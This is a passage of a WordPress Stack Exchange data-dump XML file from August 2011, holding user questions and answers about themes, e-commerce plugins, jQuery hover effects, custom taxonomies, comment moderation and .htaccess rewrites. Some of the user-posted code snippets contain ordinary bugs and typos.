margin-top: 28px !important; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So a margin is added up top.... you could negate that css in yours, but just disabling the bar is probably better if that's what you want to do&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-08-03T11:02:25.930" CommentCount="2" />
  <row Id="24777" PostTypeId="2" ParentId="24756" CreationDate="2011-08-03T11:11:51.867" Score="0" ViewCount="" Body="&lt;p&gt;Are you using the standalone, or the plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if there is a difference honestly, I've never touched the standalone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I have the plugin going&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my admin panel I have the option of adding/editing forums/topics/replies&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking on Add New for forum brings up a standard WP post screen&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The title is the name of the forum, the post body area is the description. Is that not what you get?&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-08-03T11:11:51.867" CommentCount="2" />
  <row Id="24778" PostTypeId="2" ParentId="24770" CreationDate="2011-08-03T11:20:06.163" Score="0" ViewCount="" Body="&lt;p&gt;So basically, I've never found an ecommerce solution yet that just works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I've tried a lot of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They often require the cusom creation of templates, as the shops css and the theme css never seem to play right. Everything always looks pretty crappy for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that being said, the easiest I've dealt with is &lt;a href=&quot;http://wordpress.org/extend/plugins/eshop/&quot; rel=&quot;nofollow&quot;&gt;eshop&lt;/a&gt;. Well, the easiest in terms of appearance. It just works through the normal post interface. I set up a custom post type and used it for my shop. I like it, but wasn't 100% sold on the back end. Some things were a bit confusing to me, but I'm not an e commerce expert.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've recently began experimenting with &lt;a href=&quot;http://wordpress.org/extend/plugins/jigoshop/&quot; rel=&quot;nofollow&quot;&gt;jigoshop&lt;/a&gt; which has an easier to understand backend, but I'm having trouble with appearance. This plugin sets up its own custom post types for you, and sets up pages for your cart, and shop, etc. It seems pretty solid and thorough, but again...appearance on the front-end. It allows you to turn off the css for the plugin, but my shop seems to be busting right out of my theme. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically what it comes down to is figuring out the mechanism for your ecommerce plugin. Is it custom post type based? If so it's pretty easy to creat custom templates. But to get what you are after, you'll need to use a combination of templates most likely, maybe custom queries for displaying the right number of products, and custom css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry I can't be more specific. I've just found that every plugin/theme combination is different. And every one of the ecommerce plugins requires a fair amount of customizing through the theme to get right.&lt;/p&gt;&#xA;" OwnerUserId="3429" LastActivityDate="2011-08-03T11:20:06.163" CommentCount="5" />
  <row Id="24779" PostTypeId="1" CreationDate="2011-08-03T11:23:48.033" Score="-1" ViewCount="21" Body="&lt;p&gt;As I am new to javascript:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to change onmouseover one div id with another div id. On mouse out everything would go back. I was looking and tried this online for several hours with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;script&amp;gt;&#xA;&#xA;$('.one').hover(&#xA;&#xA;function() {&#xA;&#xA;$('.two').attr('id', 'header-email'); //box two's ID becomes box one&#xA;$(this).attr('id', 'header-email2'); //box one's ID becomes box two&#xA;}, function() {&#xA;&#xA;$('.two').attr('id', 'header-email2'); &#xA;$(this).attr('id', 'header-email');&#xA;&#xA;}); //end hover one&#xA;&#xA;$('.two').hover(&#xA;&#xA;function() {&#xA;&#xA;$('.one').attr('id', 'header-email2'); //box two's ID becomes box one&#xA;$(this).attr('id', 'header-email'); //box one's ID becomes box two&#xA;&#xA;}, function() {&#xA;&#xA;$('.one').attr('id', 'header-email');&#xA;$(this).attr('id', 'header-email2');&#xA;&#xA; }); //end hover one&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div id=&quot;header-email&quot;  class=&quot;one&quot; style=&quot;visibility: visible;&quot;&amp;gt;textinhere&amp;lt;a href=&quot;mailto:tips@email.net&quot;&amp;gt;tips@email.net&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div id=&quot;header-email2&quot; class=&quot;two&quot; style=&quot;visibility:hidden;&quot;&amp;gt;textinhere&amp;lt;span&amp;gt;&amp;lt;br&amp;gt;sometext&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;still no luck..&lt;/p&gt;&#xA;" OwnerUserId="7552" LastEditorUserId="7552" LastEditorDisplayName="" LastEditDate="2011-08-03T16:00:52.053" LastActivityDate="2011-08-03T16:00:52.053" ClosedDate="2011-08-03T18:05:38.820" Title="Need help with javascript on specific effect" Tags="&lt;javascript&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="24780" PostTypeId="2" ParentId="10656" CreationDate="2011-08-03T11:36:00.533" Score="0" ViewCount="" Body="&lt;p&gt;If you're going to be adding &lt;em&gt;HTML tags&lt;/em&gt;, why not just use the &lt;strong&gt;HTML Editor&lt;/strong&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-03T11:36:00.533" />
  <row Id="24781" PostTypeId="1" CreationDate="2011-08-03T11:55:12.717" Score="0" ViewCount="28" Body="&lt;p&gt;I am using &lt;a href=&quot;http://wordpress.org/extend/plugins/eshop/&quot; rel=&quot;nofollow&quot;&gt;eshop&lt;/a&gt; and a child of &lt;a href=&quot;http://quirm.net/themes/emporium/&quot; rel=&quot;nofollow&quot;&gt;emporium&lt;/a&gt; theme by the same developers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to list my custom post type by custom taxonomy but exclude items for which there is no stock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_function($query){&#xA;       $args = array(&#xA;        'posts_per_page' =&amp;gt; 10,&#xA;        'post_type' =&amp;gt; 'collectables',&#xA;        'meta_query' =&amp;gt; array(&#xA;                        array(&#xA;            'key' =&amp;gt; '_eshop_stock',&#xA;            'value' =&amp;gt; 1&#xA;            ))&#xA;        );&#xA;    $query = new WP_Query($args);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I placed this a the top of format-standard.php and while this does exclude the custom posts with no stock, on the custom pages it effects, most of the rest of the page is missing.... ie the taxonomies and the footer....&lt;/p&gt;&#xA;" OwnerUserId="7401" LastEditorUserId="7401" LastEditorDisplayName="" LastEditDate="2011-08-03T12:01:44.007" LastActivityDate="2011-08-03T12:01:44.007" Title="How do I filter a custom post type by a custom taxonomy in eshop?" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;meta-query&gt;" CommentCount="1" />
  <row Id="24782" PostTypeId="2" ParentId="24758" CreationDate="2011-08-03T11:55:17.990" Score="1" ViewCount="" Body="&lt;p&gt;you can use it just like you posted which is safe and would do the job just fine:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_author())&#xA;{&#xA;    $author = (isset($_GET['author_name'])) ? get_user_by('slug', $author_name) : get_userdata(intval($author));&#xA;}&#xA;&#xA;elseif (is_category())&#xA;{&#xA;    //this will work in categories tags or custom taxonomy&#xA;    $term_slug = get_query_var( 'term' );&#xA;    $taxonomyName = get_query_var( 'taxonomy' );&#xA;    $current_term = get_term_by( 'slug', $term_slug, $taxonomyName );&#xA;}&#xA;&#xA;else(is_tag())&#xA;{&#xA;    //this will work in categories tags or custom taxonomy&#xA;    $term_slug = get_query_var( 'term' );&#xA;    $taxonomyName = get_query_var( 'taxonomy' );&#xA;    $current_term = get_term_by( 'slug', $term_slug, $taxonomyName );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now after that as been said i would only recommend this way if this theme is not going to be released to the public and is for your own use, if this theme is to be released then i would divide my code  in to separate files for easier customization and keeping with theme structure standards. &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-03T11:55:17.990" />
  <row Id="24783" PostTypeId="2" ParentId="24768" CreationDate="2011-08-03T11:55:32.747" Score="0" ViewCount="" Body="&lt;p&gt;You need to check all of the following options under &lt;code&gt;Dashboard -&amp;gt; Settings -&amp;gt; Discussion&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before a comment appears&lt;/strong&gt;    &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Before a comment appears  An administrator must always approve the comment &lt;/li&gt;&#xA;&lt;li&gt;Comment author must have a previously approved comment&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Comment Moderation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Hold a comment in the queue if it contains &lt;em&gt;_&lt;/em&gt; or more links. (A common characteristic of comment spam is a large number of hyperlinks.)&lt;/li&gt;&#xA;&lt;li&gt;When a comment contains any of these words in its content, name, URL, e-mail, or IP, it will be held in the moderation queue. One word or IP per line. It will match inside words, so “press” will match “WordPress”.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also: do you have any comment-moderation or spam-prevention Plugins active?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-08-03T11:55:32.747" CommentCount="6" />
  <row Id="24784" PostTypeId="1" CreationDate="2011-08-03T12:09:37.900" Score="1" ViewCount="57" Body="&lt;p&gt;I am developing a Wordpress theme that uses a lot of AJAX. It is composed of two main pages: the index, which displays a list of posts, and a viewer (similar to single.php).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a post is clicked in index.php, Wordpress takes the user to viewer.php, which displays the post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In viewer.php the selected post is displayed, and the links prev an next will load the previous or next posts with AJAX, instead of the current one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that in index.php, different category filters can be applied, so I would want the exact sequence of posts displayed in index.php passed to viewer.php, so the next and post will use the sequence of posts that was displayed in the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been reading the docs to understand how WP handles the $wp_query info, but I am not sure I understand it, so I would appreciate your help.&lt;/p&gt;&#xA;" OwnerUserId="3765" LastEditorUserId="3765" LastEditorDisplayName="" LastEditDate="2011-08-03T13:00:48.107" LastActivityDate="2011-09-03T08:40:51.323" Title="How to pass the current content of $wp_query to a new page?" Tags="&lt;wp-query&gt;&lt;loop&gt;&lt;ajax&gt;" AnswerCount="1" />
  <row Id="24785" PostTypeId="2" ParentId="24779" CreationDate="2011-08-03T12:10:42.393" Score="0" ViewCount="" Body="&lt;p&gt;This should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/tmort/u42UD/6/&quot; rel=&quot;nofollow&quot;&gt;http://jsfiddle.net/tmort/u42UD/6/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('.one').hover(&#xA;&#xA;function() {&#xA;&#xA;    $('.two').attr('id', 'one'); //box two's ID becomes box one&#xA;    $(this).attr('id', 'two'); //box one's ID becomes box two&#xA;}, function() {&#xA;&#xA;    $('.two').attr('id', 'two'); &#xA;   $(this).attr('id', 'one');&#xA;&#xA;}); //end hover one&#xA;&#xA;$('.two').hover(&#xA;&#xA;function() {&#xA;&#xA;    $('.one').attr('id', 'two'); //box two's ID becomes box one&#xA;    $(this).attr('id', 'one'); //box one's ID becomes box two&#xA;&#xA;}, function() {&#xA;&#xA;    $('.one').attr('id', 'one');&#xA;    $(this).attr('id', 'two');&#xA;&#xA;}); //end hover one&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;one&quot; class=&quot;box one&quot;&amp;gt;Box One&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;two&quot; class=&quot;box two&quot;&amp;gt;Box Two&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am using the classes to identify one and two as well as the ID's. That way, we can &quot;remember&quot; which is one and which is two when switching the ID's around. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have any questions and if this works&lt;/p&gt;&#xA;" OwnerUserId="3482" LastActivityDate="2011-08-03T12:10:42.393" CommentCount="2" />
  <row Id="24786" PostTypeId="2" ParentId="24771" CreationDate="2011-08-03T12:12:40.097" Score="1" ViewCount="" Body="&lt;p&gt;you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_term&quot; rel=&quot;nofollow&quot;&gt;wp_insert_term()&lt;/a&gt; to create the tag and then &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_object_terms&quot; rel=&quot;nofollow&quot;&gt;wp_set_object_terms()&lt;/a&gt; to set it as the custom post tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//get the tag&#xA;$tag = $_POST['ad_Tags'];&#xA;//create the tag&#xA;$term_id= wp_insert_term(&#xA;    $tag, // the term &#xA;    'post_tag', // the taxonomy&#xA;    array('description'=&amp;gt; 'term description','slug' =&amp;gt; 'term-slug')&#xA;);&#xA;//set the tag&#xA;wp_set_object_terms(  $post_id, $term_id, 'post_tag' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-03T12:12:40.097" CommentCount="4" />
  <row Id="24787" PostTypeId="2" ParentId="24775" CreationDate="2011-08-03T12:12:51.487" Score="0" ViewCount="" Body="&lt;p&gt;Twenty Eleven is the default theme and 3.2.1 is working fine for me here, on both a local machine and a server build. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you getting Wordpress directly from Wordpress.org? Also, make sure your default theme is twenty eleven and try that. If it is not, you may have a larger issue on your hands. &lt;/p&gt;&#xA;" OwnerUserId="3482" LastActivityDate="2011-08-03T12:12:51.487" CommentCount="1" />
  <row Id="24788" PostTypeId="1" CreationDate="2011-08-03T12:15:17.317" Score="0" ViewCount="22" Body="&lt;p&gt;i want to create conditional tags for the business directory categories as the conditional tags which are provided are for normal categories.which do not work for the business directory categories.can i do ths? if yes, then how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="7199" LastActivityDate="2011-08-03T14:10:31.067" Title="to create own conditional tags for business directory in wp" Tags="&lt;conditional-content&gt;&lt;directory&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="24789" PostTypeId="2" ParentId="24769" CreationDate="2011-08-03T12:17:01.310" Score="0" ViewCount="" Body="&lt;p&gt;The odd thing I see here is they load when you direct link to them, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://photodharma.net/Blog/wp-content/themes/atahualpa/images/header/Bodhisatta-in-Tusita-Heaven.jpg&quot; rel=&quot;nofollow&quot;&gt;http://photodharma.net/Blog/wp-content/themes/atahualpa/images/header/Bodhisatta-in-Tusita-Heaven.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe check your permissions? Make sure that the folders and files have proper permissions to them? Honestly it is a guess, as I don't believe we would be able to see them by direct link if the permissions were wrong. &lt;/p&gt;&#xA;" OwnerUserId="3482" LastActivityDate="2011-08-03T12:17:01.310" CommentCount="1" />
  <row Id="24790" PostTypeId="2" ParentId="13968" CreationDate="2011-08-03T12:17:58.127" Score="0" ViewCount="" Body="&lt;p&gt;I did this in a relatively complicated way using a custom query. I did not know about Smart Archives Reloaded so I wrote code myself. But it works. Replace your category ID for &quot;term_taxonomy.term_id&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;                     global $wpdb, $wp_locale;&#xA;                    $query = &quot;select YEAR(post_date) AS `year`, MONTH(post_date) AS `month`, count(ID) as posts from $wpdb-&amp;gt;posts,  $wpdb-&amp;gt;term_taxonomy, $wpdb-&amp;gt;term_relationships &#xA;                        WHERE $wpdb-&amp;gt;posts.post_status = 'publish' &#xA;                        AND $wpdb-&amp;gt;posts.post_type = 'post'&#xA;                        AND $wpdb-&amp;gt;term_taxonomy.term_id = 11&#xA;                        AND $wpdb-&amp;gt;posts.ID = $wpdb-&amp;gt;term_relationships.object_id&#xA;                        AND $wpdb-&amp;gt;term_taxonomy.term_id = $wpdb-&amp;gt;term_relationships.term_taxonomy_id&#xA;                     GROUP BY YEAR(post_date), MONTH(post_date) ORDER BY post_date DESC&quot;; &#xA;                     $arcresults = $wpdb-&amp;gt;get_results($query); &#xA;                    foreach ($arcresults as $arcresult): &#xA;                    $text = sprintf(__('%1$s %2$d'), $wp_locale-&amp;gt;get_month($arcresult-&amp;gt;month), $arcresult-&amp;gt;year);?&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url') ?&amp;gt;/[your_category_base]/[your_category_name]/date/&amp;lt;?php echo $arcresult-&amp;gt;year; ?&amp;gt;/&amp;lt;?php echo str_pad($arcresult-&amp;gt;month, 2, '0', STR_PAD_LEFT); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $text;  ?&amp;gt; &amp;lt;/li&amp;gt;&#xA;                      &amp;lt;?php endforeach; ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Writing this I was helped by looking at &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/general-template.php&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/browser/tags/3.2.1/wp-includes/general-template.php&lt;/a&gt; where wp_get_archives is defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And used the code found here (put in functions.php):&#xA;&lt;a href=&quot;http://snipplr.com/view.php?codeview&amp;amp;id=17432&quot; rel=&quot;nofollow&quot;&gt;http://snipplr.com/view.php?codeview&amp;amp;id=17432&lt;/a&gt;&#xA;to create permalinks for archives for one category in the form of&#xA;&lt;a href=&quot;http://example.com/category_base/category_name/date/YYYY/MM&quot; rel=&quot;nofollow&quot;&gt;http://example.com/category_base/category_name/date/YYYY/MM&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6817" LastActivityDate="2011-08-03T12:17:58.127" />
  <row Id="24792" PostTypeId="2" ParentId="24788" CreationDate="2011-08-03T12:22:16.203" Score="-1" ViewCount="" Body="&lt;p&gt;I'm not sure what your &quot;business directory&quot; categories are. Are you using a specific plugin to create this business directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking a stab in the dark, you've got two options. If these categories are the same categories under the &quot;Posts&quot; taxonomy, then you could use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;is_category('my-business-category');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If, however, your using a special plugin that adds its own custom taxonomy (meaning you aren't using the &quot;posts&quot; but you have a &quot;directory&quot; section in WP-admin, and you want to check if that is what the user is looking at, you would have to use something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Put this in your functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function is_post_type($type){&#xA;    global $wp_query;&#xA;    if($type == get_post_type($wp_query-&amp;gt;post-&amp;gt;ID)) return true;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the you can use this to find the custom post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;is_post_type('business_post_type')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which I originally found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/6731/if-is-custom-post-type/22166#22166&quot;&gt;If is custom post type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="3482" LastActivityDate="2011-08-03T12:22:16.203" CommentCount="1" />
  <row Id="24793" PostTypeId="2" ParentId="24769" CreationDate="2011-08-03T12:23:54.283" Score="0" ViewCount="" Body="&lt;p&gt;I've opened &lt;a href=&quot;http://www.photodharma.net/Thailand/Chiang-Man/images/Chiang-Man-Slide-00018.jpg&quot; rel=&quot;nofollow&quot;&gt;one of the missing images&lt;/a&gt; on a different tab and a 'Forbidden 403' message appears. The page shows as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;403 Forbidden   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are not allowed to access this page. Possible problems: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Missing index file&lt;/li&gt;&#xA;&lt;li&gt;Misconfigured mod_rewrite settings in .htaccess&lt;/li&gt;&#xA;&lt;li&gt;Authentication Failure&lt;/li&gt;&#xA;&lt;li&gt;Incorrect file or folder permissions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Which are valid reasons you should try to check out. The folder permissions could be the answer to your problem, but if you haven't made any special changes on your server or blog admin, I think the .htaccess could be the solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The typical&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BEGIN WordPress&#xA;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;# END WordPress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be in your .htaccess. And check if you've got mod_rewrite enabled with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a2enmod rewrite&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;on your server. Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3795" LastActivityDate="2011-08-03T12:23:54.283" CommentCount="1" />
  <row Id="24794" PostTypeId="1" AcceptedAnswerId="25035" CreationDate="2011-08-03T12:30:06.430" Score="0" ViewCount="116" Body="&lt;p&gt;How would I get the top-level parent of a given term?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using &lt;code&gt;wp_get_object_terms&lt;/code&gt; to get taxonomy terms on posts, but instead of showing all tagged terms, I only want to show tagged terms' top-level parents.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if these are my selected terms, I only want to show Breakfast, Lunch and Dinner.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x BREAKFAST&#xA;   x Cereal&#xA;   x Eggs&#xA;  LUNCH&#xA;     Hamburger&#xA;   x Pizza&#xA;  DINNER&#xA;     Fish&#xA;        Bass&#xA;      x Salmon&#xA;        Trout&#xA;     Lasagna&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="3564" LastActivityDate="2011-08-05T04:27:34.087" Title="Get the the top-level parent of a custom taxonomy term" Tags="&lt;custom-taxonomy&gt;&lt;hierarchical&gt;&lt;get-terms&gt;&lt;wp-get-object-terms&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="24795" PostTypeId="2" ParentId="24794" CreationDate="2011-08-03T12:43:31.927" Score="0" ViewCount="" Body="&lt;p&gt;here is a simple function that will get you the top most parent term of any given term:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_term_top_most_parent($term_id, $taxonomy{&#xA;    $parent  = get_term_by( 'id', $term_id, $taxonomy);&#xA;    while ($parent-&amp;gt;parent != 0){&#xA;        $parent  = get_term_by( 'id', $term_id, $taxonomy);&#xA;    }&#xA;    return $parent;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so once you have this function you can just loop over the results returned by  &lt;code&gt;wp_get_object_terms&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$terms =  wp_get_object_terms($post-&amp;gt;ID, 'taxonomy');&#xA;$top_parent_terms = array();&#xA;foreach ($terms as $term){&#xA;    //get top level parent&#xA;    $top_parent = get_term_top_most_parent($term-&amp;gt;ID,'taxomony');&#xA;    //check if you have it in your array to only add it once&#xA;    if (!in_array($top_parent-&amp;gt;ID,$top_parent_terms)){&#xA;        $top_parent_terms[] = $top_parent;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-03T13:33:36.993" LastActivityDate="2011-08-03T13:33:36.993" CommentCount="11" />
  <row Id="24797" PostTypeId="2" ParentId="24784" CreationDate="2011-08-03T12:47:21.173" Score="0" ViewCount="" Body="&lt;p&gt;In your index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;setcookie('my_wp_query', $query_string);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $query_string;&#xA;$_SESSION['my_wp_query'] = $query_string;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;whatever you prefer.&lt;/p&gt;&#xA;" OwnerUserId="7582" LastActivityDate="2011-08-03T12:47:21.173" CommentCount="4" />
  <row Id="24798" PostTypeId="2" ParentId="24755" CreationDate="2011-08-03T13:17:30.643" Score="0" ViewCount="" Body="&lt;p&gt;I am not sure how your &quot;public&quot; requirements combines with context of admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general easiest way to create page with very customized markup is to use &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;custom named template&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-03T13:17:30.643" />
  <row Id="24799" PostTypeId="1" AcceptedAnswerId="24807" CreationDate="2011-08-03T13:33:12.633" Score="0" ViewCount="15" Body="&lt;p&gt;I'm using custom fields in my wordpress default post area. So i don't want wordpress default description box. &#xA;I mean i dont want this field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/PaSIG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of description box i want excerpt box there. Please help me. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-03T14:17:11.590" Title="How to hide wordpress default description box?" Tags="&lt;wp-admin&gt;&lt;admin&gt;&lt;excerpt&gt;&lt;visual-editor&gt;" AnswerCount="1" />
  <row Id="24800" PostTypeId="1" AcceptedAnswerId="24802" CreationDate="2011-08-03T13:40:18.113" Score="0" ViewCount="30" Body="&lt;p&gt;I have to add a lot of items in wordpress menu (lot of 2nd level items) is there any bulk menu item creation method available to do it ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there any way to add wp-ecommerce categories in wordpress custome menu &lt;/p&gt;&#xA;" OwnerUserId="7585" LastActivityDate="2011-08-03T13:54:41.383" Title="Bulk Custom Menu and Wp-Ecommerce" Tags="&lt;custom-menus&gt;&lt;bulk&gt;&lt;wp-ecommerce&gt;" AnswerCount="1" />
  <row Id="24801" PostTypeId="1" CreationDate="2011-08-03T13:42:53.030" Score="0" ViewCount="42" Body="&lt;p&gt;What's the simplest way to add a second html editor to the post/page admin and show the content in a template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is something like a custom field that supports html, but I don't need the options to name the field. And I don't need a visual editor like tinyMCE; just html will do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm thinking of is simply a small text-editor box that sits under the main visual/html editor and shows the resulting html in a template via &lt;code&gt;&amp;lt;?php if ( function_exists('my_extra_editor_content') ) ...&lt;/code&gt; with the text/html in a styleable div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins like &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-field-template/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/custom-field-template/&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/developers-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/developers-custom-fields/&lt;/a&gt; offer too much in terms of functions and choices.&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-08-03T14:36:27.260" LastActivityDate="2011-09-04T05:41:52.030" Title="Simplest way to add a second html editor to the post/page admin?" Tags="&lt;page-template&gt;&lt;editor&gt;&lt;html&gt;" AnswerCount="1" />
